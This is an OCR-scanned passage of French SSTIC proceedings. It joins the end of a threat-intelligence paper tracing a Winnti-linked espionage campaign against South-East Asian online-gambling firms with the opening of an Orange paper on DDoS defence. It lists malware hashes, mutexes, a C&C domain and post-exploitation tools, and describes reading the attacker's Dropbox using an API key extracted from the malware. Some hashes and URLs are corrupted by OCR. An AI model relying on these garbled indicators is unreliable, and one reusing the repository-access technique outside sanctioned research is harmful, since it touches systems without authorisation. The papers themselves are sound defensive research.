notre télémétrie, nous avons pu trouver des envois de mails vers une autre
entreprise située en Asie du Sud-Est, appartenant elle aussi au domaine
des paris en ligne.

Grace a cette trouvaille, nous savons donc qu’un des vecteurs de
compromission est le spear-phishing, et le secteur ciblé semble bien étre
celui des paris en ligne en Asie du Sud-Est.

En revanche, une recherche sur d’éventuelles détections des différents
malwares identifiés a été effectuée et ne nous a pas permis d’identifier
de nouvelles victimes. Cela montre le caractere particulierement ciblé de
cette attaque.

6 Cercle vertueux

Comme nous 'avons déja indiqué, a chaque fois que 'on trouve un
nouvel indicateur, il faut recommencer les étapes.

— Un nouveau nom de domaine ajoute potentiellement de nouvelles
adresses IP et malwares liés;

— Une nouvelle adresse IP ajoute potentiellement de nouveaux do-
maines et malwares liés;

— Une nouvelle famille de malwares ajoute potentiellement de nou-
veaux C&C, donc des domaines et adresses IP.
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Chacun de ces indicateurs permet potentiellement de détecter de
nouvelles victimes via la télémétrie, et pourrait également permettre un
rapprochement avec un groupe connu, et donc plus de contexte pour
I’attaque.

Ci-dessous un exemple de corrélation effectuée une fois les étapes
précédentes effectuées une premiere fois.

6.1 Mutex

Le code malveillant d’un des exécutables de la famille de mal-
ware « Trochilus », nommé « diskshawin.exe »,'® est chargé en mé-
moire par un exécutable ' lancé lui-méme par un fichier RAR auto-
extractible.!” Cet exécutable utilise plusieurs mutex aux noms apparem-
ment aléatoires, « cc5d64b344700e403e2sse », « cchbd6b4700e403e2sse » et
« ccbd6b4700032eSS ».

En cherchant ces mutex sur Google, nous avons trouvé un rapport
de sandbox '8 correspondant & une souche appartenant & la famille Bbs-
Rat [11], nommée « diskwinshadow.exe » et contactant le nom de domaine
« bot.googlerenewals.net ». En effectuant des recherches sur ce nom de
domaine, on retrouve un rapport [18] de la société ClearSky publié en
2017 relatif au groupe Winnti [5].

Ce nom regroupe en fait plusieurs groupes en son sein, et plusieurs
rapports publiés [13] sur ces groupes indiquent qu’il serait d’origine chinoise.
La nomenclature similaire des noms de fichiers et des mutex, et la cohérence
entre l'origine présumée du groupe et les victimes constatées de notre co6té
renforcent notre conviction que les deux groupes sont probablement liés.

7 Utilisation des fonctionnalités du malware

Nos connaissances sur ce groupe d’attaquants sont de plus en plus
étendues, mais il est possible d’aller plus loin. Lors de ’analyse des
malwares type 1, nous avons identifié une connexion au domaine api.
dropbox. com.

15. SHA256 : 4e3e9e4613d414ba671fd35d7d70d0c3093cd322f5f297281a502420741c03c8

16. SHA256 : 02d6ae0039abfob042c60c6b0eb84f6af1283a25932¢1d69a9646bc7deal34984

17. SHA256 : 60a7b03a7776a26aca2d0d64246ea24d204dd9db815b47e1¢32171783a50b27b

18. https://www.hybrid-analysis.com/sample/
£5dc823aa3c51d96ac632e311£a198a6a7bbc37bf771b2c0dad7d7532£8£9d7£?
environmentId=120


https://www.hybrid-analysis.com/sample/
f5dc823aa3c51d96ac632e311fa198a6a7bbc37bf771b2c0dad7d7532f8f9d7f?environmentId=120
f5dc823aa3c51d96ac632e311fa198a6a7bbc37bf771b2c0dad7d7532f8f9d7f?environmentId=120
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7.1 Nouvelle charge utile

Apres une analyse plus poussée, on constate que Dropbox est utilisé
comme un canal de controle supplémentaire. En effet, lors de sa premiere
infection, la machine génére un ID unique, et s’en sert pour créer un
répertoire sur un dépoét Dropbox. Ensuite, le malware va régulierement
vérifier si un fichier d’extension « asc » est présent dans ce répertoire, et si
c’est le cas, il le déchiffre, passe quelques pointeurs de fonction sur la pile,
puis redirige le flux d’exécution vers le code déchiffré. Il nous semble donc
important de récupérer ce fichier, pour pouvoir le détecter et le bloquer.

Pour pouvoir accéder a ce dépot Dropbox sans interaction utilisateur,
le malware embarque une clé d’API de Dropbox. Nous avons alors extrait
cette clé, et via I'implémentation Python officielle de I’API Dropbox,
nous avons pu accéder au dépot de l'attaquant afin d’en observer le
contenu.

Nous avons fait les constats suivants :

— 142 répertoires différents existent a la racine;

— 129 de ces derniers contiennent des fichiers d’extension « asc » ;

— Il 'y a 26 versions de fichiers « asc » différents, visant les architectures

x86 et x64.

Comme nous le soupconnions, ces fichiers d’extensions « asc »
contiennent du code malveillant. Il s’agit en fait d’une nouvelle famille
de malware, qui mérite donc une nouvelle analyse. Cette analyse sort du
cadre de cet article, mais un résumé des fonctionnalités se trouve dans
larticle publié sur notre blog [8].

On retient surtout que cette porte dérobée utilise Dropbox comme
C&C. Ainsi, si un attaquant veut exécuter une commande chez une victime,
il doit écrire cette commande dans un fichier nommé « yasHPHFJ ». De
facon réguliere, le malware regarde si un fichier a ce nom existe sur le dépot,
et si c’est le cas, il exécute la commande, et écrit le résultat, également
sur le dépot, dans un fichier nommé « Csaujdnc ». Il est donc possible, en
ayant acces au dépot, de voir les différentes commandes exécutées.

7.2 Outils de post-exploitation

De méme, on trouve une cinquantaine d’exécutables supplémentaires
présents sur le dépét. Leur analyse montre qu’il s’agit principalement
d’exécutables malveillants qui correspondent a des outils utilisés générale-
ment lors de la phase de post-exploitation. Ces outils incluent des logiciels

19. https://github.com/dropbox/dropbox-sdk-python
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de récupération de mots de passe tels Mimikatz ou QuarksPwdDump,
des outils pour contourner 'UAC, des outils d’énumération de partages
réseaux tels nbtscan, ou encore des outils d’élévation de privileges via
I’exploitation de vulnérabilités et des outils de brute-force.

7.3 Analyse des commandes

L’analyse des commandes passées par 'attaquant sur 67 ID différents
a montré que la plupart d’entre elles consistaient a lister le contenu de
répertoires, puis & lancer par différents moyens les outils mentionnés ci-
dessus. Les résultats de cette analyse de commandes ont également été
publiés sur notre blog.

Certaines de ces commandes sont particulierement intéressantes : sur
une machine, 'attaquant a téléchargé une charge malveillante qui est
directement stockée sur une adresse IP distante. En regardant le passive
DNS de cette adresse IP, nous avons retrouvé un nom de domaine qui est
lié & Winnti. Cela a donc renforcé notre conviction que notre attaquant
avait des liens avec ce groupe.

De méme, les commandes avec lesquelles I'attaquant envoie des fichiers
vers la victime contiennent le chemin absolu des fichiers. Nous avons donc
pu voir un nom de répertoire « DRBControl » dans ’arborescence de
I’attaquant, ce qui nous a inspiré le nom de cette investigation.

Nous avons également confirmé la victimologie, car nous avons retrouvé
les entreprises de certaines des victimes infectées par ce malware utilisant
Dropbox, et elles sont également liées aux paris en ligne.

Pour finir, nous avons fait le constat que dans les fichiers téléchargés
par I'attaquant, il y avait de trés nombreuses bases de données, des fichiers
contenant les frappes claviers, des documents PDF et Office, des cookies,
et méme une base de données Keypass.

8 Chronologie

Avant de conclure, faisons une petite chronologie des événements liés
a cette attaque.

— 10 juillet 2019 : début de I'investigation

— Fin juillet 2019 : finalisation d’une premiére passe d’analyse des
différentes familles de malwares et de 'infrastructure de 'attaquant

— Courant aolit 2019 : analyse plus poussée des chargeurs de code,
découverte des documents malveillants et de spear-phishing envoyés
en mai 2019
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Fin aoft 2019 : début de ’analyse des commandes de 'attaquant
et identification de nouvelles cibles

Courant Septembre 2019 : premiere corrélation avec Winnti trouvée.
Toutes les clés d’API Dropbox sont invalidées

2 Octobre 2019 : réception de deux nouvelles souches, dont une
nouvelle version d’HyperBro

Courant octobre 2019 : pause complete de l'investigation
Courant décembre 2019 : reprise, investigation plus poussée de
I'infrastructure de 'attaquant, lien avec EmissaryPanda confirmé
Fin décembre 2019 : premiére version du rapport

Courant janvier 2020 : légeres modifications du rapport suite aux
remarques du marketing technique

2 février 2020, 23h44 : soumission au SSTIC

18 février 2020 : publication du post blog [7] et du papier d’investi-
gation [8] sur le blog de Trend Micro

10 mars 2020 : notification de I'acceptation du SSTIC

25 avril 2020 : envoi d'un draft du papier SSTIC

A noter que cette investigation a été effectuée a 99% par trois personnes
ayant des compétences différentes, sur des fuseaux horaires différents, et
avec des niveaux de disponibilité différents, c’est-a-dire qu’un chercheur
n’est pas forcément dédié a une seule investigation.

9 Conclusion

Nous sommes partis d’une quinzaine de souches appartenant a 4
familles de malwares distinctes, avec 5 noms de domaines et 3 adresses IP
de C&C différents.

A Darrivée, nous avons :
)

4 familles de malwares additionnelles

14 noms de domaines supplémentaires

6 adresses IP supplémentaires

Des dizaines de souches différentes (liste compléte des condensats
disponible dans notre papier [8])

Un vecteur de compromission (4 documents malveillants utilisés
pour du spear-phishing)

Une liste de nombreux outils de post-exploitation utilisés par 1’at-
taquant

Une victimologie précise

Des liens avec deux groupes d’attaquants connus et documentés



22 Pivoter tel Bernard

Pour une victime, l'intérét de telles méthodes pour enrichir sa liste
d’indicateurs et obtenir plus de contexte est indéniable. Cependant, il est
certain qu’une telle investigation prend du temps et nécessite des ressources
importantes. De méme, il faut parfois attendre plusieurs semaines avant
d’avoir plus de contexte et/ou d’informations, suite par exemple a la
découverte d’une nouvelle famille de malware.

Concernant plus particulierement cette présentation, il faut préciser
que la plupart des concepts évoqués ici sont appliqués par de nombreuses
entreprises de « threat intelligence ». Cependant, si dans certains cas,
ces concepts sont applicables par tous, dans d’autres, ils requiérent un
acces a des plateformes payantes. Cela est particulierement vrai en ce qui
concerne VirusTotal, alors que d’autres plateformes comme Passive Total
proposent un acces gratuit mais avec certaines limitations, notamment sur
le nombre de requétes quotidiennes. D’autres concepts eux, requierent de la
télémétrie. Sachant que tous les acteurs de la sécurité informatique ont une
vision différente, du fait d’un placement, de clients ou d’usages différents,
il faut accepter que la vue est forcément partielle. C’est également l'intérét
d’établir des liens de confiance entre chercheurs d’entreprises différentes,
afin de pouvoir compléter sa vision d’une attaque.

Terminons sur un point non négligeable : méme si nous avons montré
quelques méthodes permettant de suivre un attaquant, que nous avons
qualifié dans le titre de négligent, ce dernier est loin d’étre idiot. Il ne se
privera pas d’utiliser 'information disponible en source ouverte, que ce
soit les publications d’éditeurs de sécurité le concernant, mais également
les mentions de chercheurs sur Twitter par exemple, pour s’améliorer.

Cette investigation n’a pas failli a cette regle. Apreés avoir publié
notre investigation en février 2020, nous avons identifiées de nouvelles
attaques liées a ce groupe en mars 2020. Le méme malware de type 1
a été identifié, pointant vers une infrastructure totalement différente,
mais utilisant toujours Dropbox comme C&C. Apres extraction de la clé
d’API, nous avons constaté que ses permissions ont été ajustées, et il n’est
désormais plus possible de lister le contenu du dépét. Il faut donc faire
preuve de créativité, mais également de discernement lorsqu’on rédige un
papier d’investigation !
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Résumé. La sécurité du réseau fixe des opérateurs gagne régulierement
en maturité au regard de ’évolution des menaces, de la disponibilité des
mesures techniques, du contexte géopolitique et du contexte réglementaire.
Apres avoir rappelé ce contexte et donné quelques éléments d’architecture
sur le réseau fixe d’un opérateur de communications électroniques, le
présent article se focalise sur le cas particulier des attaques de dénis de
service. Il aborde notamment 1’évolution des attaques, les techniques de
détection mises en ceuvre et il donne une vue sur I'outillage & la main
de l'exploitant pour faire face a ces attaques. L’article fera un focus sur
la mise en ceuvre de BGP Flowspec. Puis il s’attardera sur la détection
des attaques dans un L2VPN en analysant les remontés IPFIX (template
L2-IP) et sur le déploiement des contre-mesures via Netconf.

1 Introduction

La premiere partie de l'article donne quelques éléments de contexte sur
les menaces qui pesent sur les opérateurs réseaux, sur la réglementation
en matiere de sécurité des réseaux, sur I’architecture du réseau d’Orange
France et sur la politique de sécurité mise en ceuvre. La deuxiéme partie
décrit 1’évolution des attaques de dénis de service (Denial of Service - DoS
ou Distributed Denial of Service - DDoS) depuis 20 ans. Elle s’attarde
notamment sur les contre-mesures mises en ceuvre pour lutter contre les at-
taques DDoS par amplification et réflexion dans la sous-section 3.3 page 34.
Elle se focalise ensuite sur les contre-mesures dynamiques basées sur BGP
Flowspec récemment mises en ceuvre devant la montée en puissance des
attaques mixtes dans la sous-section 3.4 page 39. Elle se termine par le
traitement atypique des attaques dans des L2VPN grace aux informations
collectées aupres des routeurs en IPFIX en utilisant le template L2-IP et
en modifiant dynamiquement la configuration des routeurs via Netconf
dans la sous-section 3.5 page 42.
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2 Quelques éléments de contexte

2.1 Contexte Géopolitique

Historiquement, un nombre limité d’acteurs travaillaient « en
confiance » sur les prémices du réseau qui allait devenir quelques an-
nées plus tard Internet. La résilience des réseaux était une priorité, mais
pas leur sécurité. Des protocoles non sécurisés comme BGP (Border Gate-
way Protocol) ont été spécifiés et déployés il y a plus de trente ans [26].
Les serveurs connectés au réseau Internet étaient considérés comme sir.
Les acteurs historique de 'Internet ne pensaient pas qu’un serveur pouvait
étre piraté et attaqué par un tiers. Envoyer des paquets IP en usurpant
I’adresse IP d’un tiers était inconcevable, entre ingénieurs de bonne com-
position. Puis le nombre d’acteurs a grandi de facon exponentielle pour
atteindre la dimension qu’Internet a aujourd’hui. Depuis une vingtaine
d’années, alternant incidents involontaires ' et attaques intentionnelles de
la part d’individus isolés 2 ou d’agences étatiques,® la sécurité est désormais
prise en compte dans les réseaux des opérateurs qui constituent Internet.
Elle évolue sans cesse au gré des menaces comme les attaques de dénis de
service.

2.2 Contexte réglementaire francgais

Le contexte réglementaire a évolué depuis une dizaine d’années en
France en matiére de sécurité des opérateurs de communications électro-
niques [25]. Sans vouloir étre exhaustif, il est possible de mentionner :

— Les obligations des opérateurs prévues dans le code des postes

et des communications électroniques en matiere de sécurité des
réseaux, a I'image des articles D98-4 (disponibilité des réseaux) et
D98-5 (I-secret des correspondances; I11- sécurité et intégrité des
réseaux et des services).

1. L’incident mondial qui a touché le service Youtube en 2008 est un cas d’école
souvent cité pour illustrer la faiblesse du protocole BGP (voir [2,9,21,30] pour plus de
détails) dans le contexte d’un incident qui peut étre considéré comme involontaire dans
sa dimension mondiale.

2. Les mouvements sociaux comme les Gilets Jaunes transpirent également sur
Internet en prenant la forme d’attaques DoS ciblées observables sur le réseau d’Orange.
Un autre exemple concerne le domaine des jeux en ligne ou des joueurs peu scrupuleux
n’hésitent pas a lancer une attaque DoS contre leurs adversaires pour gagner une partie.

3. En matiere de sécurité des réseaux et bien avant les révélations de Snowden en
2012, il est difficile de ne pas citer comme exemple la compromission du réseau mobile
de Vodafone Greece en 2004-2005. Pour plus de détails voir [6] ou [29].
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— La loi de programmation militaire 2014-2019 a introduit dans
le code de la défense des contraintes particulieres pour les OIV
(Opérateurs d’Importance Vitale) des SAIV (Secteurs d’Activité
d’Importance Vitale - dont le secteur « Communications électro-
niques, audiovisuel et information » ). Il permet & I’ANSSI d’imposer
des regles aux SIIV (Systémes d’Information d’Importance Vitale).
Un arrété [28] fixe ainsi les régles applicables aux opérateurs de
communications électroniques.

— Le code pénal integre un dispositif atypique, en 'occurrence I’article
226-3, dans le contexte du secret des correspondances. Il soumet
a autorisation de ’ANSSI la plupart des équipements réseaux
utilisés par les opérateurs de communications électroniques. Tous
les routeurs de coeur de réseau sont ainsi soumis a autorisation en
raison. Ce dispositif a récemment évolué dans le contexte de la loi
5G [1] en élargissant les contraintes pour les opérateurs concernés.

Au dela de cette réponse réglementaire, il est également possible de

mentionner le travail pédagogique appréciable de ’ANSSI. 11 prend la
forme de publications pédagogiques comme le guide sur la configuration
de BGP [4] ou le guide sur la compréhension et 'anticipation des attaques
DDosS [5].

2.3 Cas d’un réseau fixe en France

Genese Il faut remonter aux années 1990 pour voir les prémices du réseau
IP d’Orange sous la forme d’un réseau ATM. Le RBCI (Réseau Backbone
et Collecte Internet), au sens de ’AS3215, est né en 1999 (voir figure 1).

Il n’a eu de cesse d’évoluer depuis. Au niveau capacitaire, le coeur a
suivi I’évolution des performances des routeurs et des liens de transmis-
sions :

— 1999 : liens STM POS a 155Mb/s,

— 2000 : liens POS a 2,5Gb/s,

— 2002 : liens POS a 10Gb/s,

— 2006 : liens 10GE a 10 Gb/s,

— 2014 : liens 100GE a 100 Gb/s.

Le Térabit par seconde de trafic observé aux bornes du RBCI a été
passé en 2011 et les 10 Th/s ont été franchis en 2018. Au niveau fonctionnel,
d’un simple réseau offrant ’acceés a Internet IPv4, le RBCI s’est mué en
réseau complexe offrant des services VoIP, multicast, MPLS (L2VPN ou
L3VPN) et IPv6 tant pour les besoins des offres Orange que pour les
clients Wholesale.Les offres Orange Wholesale sont des offres de gros
proposées aux opérateurs francais afin de leur permettre de connecter, a
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Fig. 1. Naissance du réseau d’Orange, ’AS3215 - RBCI, en 1999

travers le réseau fixe d’Orange, des clients qu’ils ne peuvent pas raccorder
directement. L’architecture méme du réseau a évolué au gré des usages
afin d’optimiser dans les années 2000 le trafic treés décentralisé la ou
aujourd’hui, un nombre limité d’acteurs concentre une part significative
du trafic a I'image de Google/Youtube, Netflix ou Facebook.

Architecture réseau Le trafic usuel vient des points d’échanges natio-
naux et internationaux. Il transite par le coeur du RBCI, les réseaux de
collecte et le réseau d’acces avant d’atteindre sa destination finale, un
client Orange.

Les routeurs du RBCI qui raccordent les réseaux nationaux (respecti-
vement internationaux) sont appelés routeurs de peering nationaux (resp.
internationaux) ou points d’échanges nationaux (resp. internationaux).
Le terme d’ASBR (Autonomous System Border Router) est également
utilisé dans la suite du document pour identifier ces routeurs en bordure
des autres réseaux. Dans le contexte des offres Wholesale reposant sur des
tunnels MPLS de type L2VPN, le terme de PE (Provider Edge) désigne
les routeurs de bordure.
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Fig. 2. Vue simplifiée du réseau IP d’Orange, ’AS3215 - RBCI

2.4 Politique de sécurité

Geneése La premiere politique de sécurité du réseau IP d’Orange date
de 2004 dans un contexte déja mouvementé entre la propagation rapide
et massive des premiers virus réseau comme Blaster et sur fond de lutte
contre le SPAM. Elle a ensuite évolué structurellement en 2008 puis en
2012-2013 pour prendre sa forme actuelle. La politique de sécurité du
réseau IP est désormais composée :

— d’un document chapeau inspiré de la méthode EBIOS [3] identifiant
les principes de sécurité mis en ceuvre,

— de documents d’ingénierie et d’exploitation qui déclinent les prin-
cipes de sécurité en explicitant la mise en ceuvre opérationnelle et
les procédures idoines,

— d’une automatisation permettant le déploiement de configuration
et la vérification de la conformité des configurations avec une cible.

L’ensemble de ces documents vit grace a une collaboration étroite

entre I'exploitation et 'ingénierie du RBCI comme illustré figure 3.

Principes La politique de sécurité du RBCI se base sur quelques principes
élémentaires :
— Les équipements en périphérie du RBCI doivent protéger le RBCI
des agressions extérieures
— fiabilisation des en-tétes IP (anti-spoofing, marquage QoS, etc.),
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Fig. 3. Principe de mise en ceuvre de la politique de sécurité

— destruction du trafic non légitime (adresse IP source privée,
mécanismes anti-DoS, etc.),

— limitation de la visibilité du RBCI vis-a-vis de 'extérieur,

— fiabilisation du plan de contréle en mettant en ceuvre notamment
les bonnes pratiques BGP,

— Chaque équipement du RBCI doit se protéger en controlant toute
information & destination de son plan de contréle ou de son plan
de management
— mise en place de filtres sur la base de I’en-téte IP avec dans

certains cas des limitations en débit,

— exploitation des équipements en utilisant des protocoles sécuri-
sés (par exemple SSHv2 avec une vigilance particuliére sur les
suites cryptographiques utilisées) et permettant un controle fin
des acces,

— mise en ceuvre de la QoS afin de privilégier par exemple le plan
de management et le plan de controle aux dépens du plan de
données,

— Le RBCI doit étre intégralement redondé pour étre résilient dans
tous les cas de panne simple, y compris en cas de coup de pelleteuse
sur un axe de transmission.

Cette politique de sécurité prend tout son sens des lors qu’il s’agit
de mettre en ceuvre des mécanismes de détection des incidents de dénis
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de service et des mesures défensives pour protéger le réseau et les clients
d’Orange de ces incidents. La section suivante va détailler la posture prise
sur le RBCI au gré de ’évolution de la menace.

3 Attaques DoS

Les attaques DoS ne sont pas une nouveauté. Elles ont d’ailleurs déja
fait I'objet de présentations au SSTIC en 2005 [7] et en 2017 [24]. L’ANSSI
a par ailleurs publié un guide en la matiere en 2015 [5]. Cette section se
focalise sur I’évolution des mesures prises par Orange au gre de ’apparition
de nouvelles attaques. Elle s’attarde notamment sur les contre-mesures
mises en ceuvre pour lutter contre les attaques DDoS par amplification et
réflexion dans la sous-section 3.3 page 34. Elle se focalise ensuite sur les
contre-mesures dynamiques basées sur BGP Flowspec récemment mises
en ceuvre devant la montée en puissance des attaques mixtes dans la sous-
section 3.4 page 39. Elle se termine par le traitement atypique des attaques
dans des L2VPN grace aux informations collectées aupres des routeurs
en IPFIX en utilisant le motif L2-IP et en modifiant dynamiquement la
configuration des routeurs via Netconf dans la sous-section 3.5 page 42.

3.1 Phase 1 : exploitation d’anomalies (1992-2004)

Les premiéres attaques Il est difficile de remonter I'historique des
attaques de dénis de service et de donner la date de la premiere attaque.
Dans les années 1990, la plupart des attaques de dénis de service exploitait
des failles dans les logiciels.

Ainsi, en 1992, un faille dans I'implémentation d’ICMP sur SunOS
4.1x permettait a distance de fermer toutes les connexions réseaux d’un
systeme vulnérable [10].

Les premiers cas d’usurpation d’adresse IP semblent mentionnés par le
CERT-CC en janvier 1995 [11]. Plusieurs attaques de dénis de service sont
ensuite documentés en 1996 par le CERT-CC. 1l s’agit a vrai dire d'un
festival puisque les principaux protocoles alors utilisés sont concernés, et
cela sur toutes les plate-formes :

— En janvier 1996, une attaque DoS touchant UDP [12],

— En septembre 1996, les premiers cas de TCP Syn Flood [13],

— En décembre 1996, I'attaque Ping to death fait son apparition [8,14].

De nouvelles attaques apparaitront les années suivantes, des routeurs
étant eux méme vulnérables a certaines d’entre-elles comme D’attaque
Land [15] ou une vulnérabilité dans SNMP [17]. D’autres impactent le
fonctionnement des réseaux comme lattaque Smurf [16].
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Les premiéres contre-mesures mises en ceuvre sur le RBCI 11
s’agissait alors principalement d’activer ’anti-spoofing sur les points de
raccordement des clients Orange (Wanadoo) et de mettre en place des
filtres de protection sur les accés aux équipements réseaux afin que seules
les adresses IP sources autorisées puissent se connecter aux routeurs en
administration.

3.2 Phase 2 : Premiers botnet (2002-2011)

Virus et Botnet Les années 2000 ont été marquées par ’exploitation
de plusieurs failles depuis Internet afin de compromettre des PC/serveurs
et d’exécuter des taches a I'insu de leurs propriétaires : envoi massif de
mails ou attaques de dénis de service.

Un exemple connu est le virus Blaster qui, en 2003, exploitait une
faille dans 'interface RPC (Remote Procedure Call, principalement le
port TCP 135) sur les systemes Microsoft [18]. L'une des nuisances était
de lancer une attaque DDoS sur le domaine windowsupdate.com [31].

Détection des attaques transitant par le RBCI Les premiers outils
de détection ont été mis en ceuvre sur le transitaire international du RBCI
en 2007-2008 ce qui a permis d’avoir une idée de 'ampleur des attaques de
dénis de service. Le RBCI s’est doté d’une capacité de détection limitée fin
2010 en se basant principalement sur les données netflow [20] des routeurs
de peering nationaux/internationaux.

Quelques attaques étaient observées par mois avec des débits de 'ordre
de 1 Gb/s provenant principalement de botnet internationaux et ciblant
des clients d’Orange Pro/Entreprise ou des institutions. Elles dépassaient
rarement 10 Gb/s, duraient généralement moins de 30 min et provenaient
principalement des points de peering internationaux.

1T09(2T09|3T09|4T09
Attaques entre 1 et 2 Gb/s | 0 1 1 0
Attaques entre 2 et 4 Gb/s | 0 0 0 0

Débit indicatif RBCI en Tb/s| 0,6 | 0,6 | 0,7 | 0,7

Tableau 1. Nombre d’attaques DoS identifiées sur le RBCI par trimestre en 2009
(aucune attaque au-dela de 4 Gb/s)
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Fig. 4. Détection des attaques DoS sur le RBCI en 2011

Les contre-mesures mises en ceuvre sur le RBCI En cas d’incident
impactant un axe du RBCI, les exploitants avaient a leur disposition deux
outils artisanaux :

— D’une part ils avaient la possibilité de déployer manuellement un
filtre sur les points de peering nationaux et/ou internationaux,
au plus pres des sources de 'attaque si elles étaient identifiées.
Un filtre s’entend ici par la capacité des routeurs a détruire du
trafic sur une interface du routeur sur la base de ’adresse IP
source/destination, du protocole ou du port source/destination. Les
filtres sont implémentés en hardware et ils n’impactent usuellement
pas les performances des routeurs.

— D’autre part, ils pouvaient activer un blackhole sur 'adresse 1P
destination cible de 'attaque s’il s’agissait de la seule information
disponible, toujours au niveau des points de peering nationaux
et/ou internationaux. Un blackhole consiste & introduire une route
pour une adresse IP donnée vers l'interface poubelle du routeur
a savoir null0. Cette mesure est radicale dans le sens ou, si elle
préserve le RBCI de toute saturation, elle détruit tout le trafic a
destination de la cible de I'attaque sur le routeur concerné. Quelque
part, elle permet donc a l'attaquant de nuire quand méme & sa
victime.
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Cette boite a outil manuelle a été relativement peu utilisée pour

plusieurs raisons :

— Le principal soucis de 'opérateur et de ne pas saturer les liens entre
les routeurs. Sinon, plusieurs dizaines (voir centaines) de milliers
de clients peuvent étre impactés par une seule attaque. Les liens du
RBCI pouvant alors absorber Nx10 Gb/s de trafic additionnel au
trafic de pointe légitime, les attaques ne saturaient pas ces liens.

— Les délais de détection conjugués aux délais d’intervention faisaient
que 'attaque était généralement terminée lorsque les exploitants
étaient prét a activer le filtre.

RBCI-AS 3215

=]
Aggregation
IPMPLS

B
Core network
IP/MPLS

d’exploitation

Réseau Réseaux de
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Fig. 5. Mise en ceuvre d’un blackhole sur les routeurs de peering internationaux

3.3 Phase 3 : amplification et réflexion (2011-2015)

Click & DoS Les attaques par amplification/réflexion ont gagné en
intérét en 2011 notamment avec 1’explosion des services Cloud. Ce type
d’attaque s’appuie sur deux propriétés :

— d’une part sur des vulnérabilités (bug, faille comportementale) de
certains services ouverts sur I'Internet (DNS, NTP, SNMP, SSDP
etc.),

— et d’autre part sur la capacité de ces services a générer une disparité
d’utilisation de la bande passante entre une requéte et une réponse.

)
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On parle ici de facteur d’amplification. Par exemple si une requéte
utilise un paquet de 128 octets et que la réponse en retour fait 1280
octets on parle d’'un facteur d’amplification de 10.

Plusieurs sources recensent les vecteurs d’amplification les plus connus
et leur signature a I'image du CERT-US [19]. Comme explicité dans ce
document, ces attaques s’appuient toutes sur le protocole non connecté
UDP a opposer au protocole connecté TCP. Il est donc possible d’usurper
I’adresse IP source d’une victime afin d’adresser une requéte vers un service
Internet et la victime recevra la réponse.

Sur les réseaux d’opérateurs comme Orange, ces attaques sont gé-
néralement massivement distribuées en termes d’adresses IP sources (=
adresses IP des rebonds utilisés pour amplification) mais visent la plupart
du temps une IP destination unique. Les conséquences pour 'opérateur
sont indirectes (la conséquence directe étant I'indisponibilité du site ou
client visé). En effet, ces attaques, par leur caractere amplifié, sont tres
consommatrices de bande passante (plusieurs dizaines, voire centaines de
Gbps) et ont pour conséquence la saturation de certains axes réseau de
I'opérateur, perturbant ainsi indirectement I’ensemble du trafic de ’axe.

Observation sur le RBCI Ces attaques ont fait leur apparition sur
le RBCI début 2012 avec d’emblée des débits plus élevés que les débits
jusque la observés pour les attaques DoS de type Botnet. De quelques
Gb/s, les attaques sont passées a quelques dizaines de Gb/s en quelques
semaines avec un débit standard entre 30 et 40 Gb/s durant 1’été 2012.
Autre évolution substantielle, la fréquence des attaques supérieures a
1 Gb/s a été multipliée par 100 entre fin 2011 et fin 2012. Pendant la
méme période, le débit global du RBCI a augmenté de 30% environ. Des
outils DoS sur étagere simples d’emploi et partiellement gratuits ont fait
leur apparition en 2012. Les enjeux pour les attaquants ont aussi changé.
Les attaques visent des clients grand public derriére une Livebox (profil
souvent visé : les Gamers) ou plus rarement et habituellement en fonction
de lactualité (ex. G7, COP, Mouvement de gréve) un site/service sensible
pour lequel Orange est transitaire (service des Impo6ts, site gouvernemental,
établissements scolaires. . .).

Orange a développé des outils dédiés a la supervision des ports UDP
utilisés comme vecteurs d’attaque par réflexion et amplification. Dans un
premier temps, ils se basaient sur le relevé de compteurs en SNMP. Ils ont
désormais évolué vers de la Télémétrie.
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Débit attaques | 1T | 2T | 3T | 4T | 1T | 2T | 3T | 4T | 1T | 2T | 3T | 4T

En Gb/s 2011}2011|2011|2011|2012{2012|2012|2012{2013|2013|2013|2013

Entre2et4 | 1 [ 3 [ 7 [12 [ 16 [ ? | ? | 63 [485]1124] 919 [1375
Entre4et8 | 0 [ 0 | 2 | 4 [11 [ 6 |15 [ 27 [ 72 [333]301 366
Entre8et16 [ 0 [ 1 | 0 [ 1 [ 2 [11 [ 3 [ 3 [ 11|89 [ 75 [52

Entre16et32] 0 [ 0 [0 [0 [0 [ 2|5 416 ][10]2
Entre32et 64 0 | 0 [ 0 [0 [0 [0 ]6]0 11173
Entre 64 et 128 0 [0 [0 [0 [0 [0 [0 [0 [0 |0]|]1]0
[RBCIen Th/s[08[08[09[ 1 [11[1,1[1,1[13[14[14[15[16 ]

Tableau 2. Nombre d’attaques DoS identifiées sur le RBCI par trimestre en 2011,
2012 et 2013 (aucune attaque au-deld de 128 Gb/s)

Industrialisation des contre-mesures mises en ceuvre sur le
RBCI La fréquence des attaques et le volume des attaques ont obligé
Orange a réagir en industrialisant les contre-mesures :

— Une réflexion sur la gestion différenciée de la QoS (Quality of

Service) a été initiée en 2008 sur le RBCI sous la forme d’une clas-
sification /priorisation/gestion différenciée des trafics dits sensibles
de ceux dits Best Effort. Un trafic voix ou le trafic d’administration
des routeurs par exemple ne seront pas traités de la méme facon
que du trafic Internet au sein des routeurs. En cas de congestion
provoquée par une attaque venant d’Internet ("Best Effort") — le
trafic sensible sera préservé (voix, administration des routeurs,
protocole de routage ). Le déploiement opérationnel a été réalisé
en 2009-2010.

— La mise en place de filtres « statiques » de limitation de bande

passante sur les signatures d’amplification les plus connus, notam-
ment celles décrites par [19], a la périphérie du réseau d’Orange.
Les outils précédents de supervision permettent un suivi fin de
I’évolution des débits et d’adapter les seuils de déclenchement.

— L’ingénierie et les procédures de mise en ceuvre des blackholes (ou

puits de trafic) ont été revues afin de permettre un usage plus
rapide et plus précis.

Quelques précisions techniques :

— Les filtres statiques sont positionnés en sortie sur les axes ASBR

(Autonomous System Border Router = routeurs de peering) vers
les routeurs de coeur afin d’améliorer la finesse des filtres et de
limiter les zones arriéres concernées.

— La bande passante autorisée par port source UDP est allouée

globalement a I’axe ASBR vers le routeur de cceur indépendamment
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Fig. 6. Traitement des attaques DDoS par réflexion et amplification sur le RBCI

du nombre de liens présents dans le Bundle de liens 100GE (LAG
Nx100GE). Cette valeur est distribuée et ajustée dynamiquement
en fonction du nombre N de liens actifs dans le bundle. Ce point est
important car il évite de modifier les valeurs de la bande passante
autorisée lors des mises a jour capacitaires ou encore lors d’incidents
mettant hors service certains liens physiques du bundle. Il s’appuie
sur une fonction aujourd’hui uniquement disponible sur les routeurs
Juniper nommée : shared-bandwidth-policer [23]
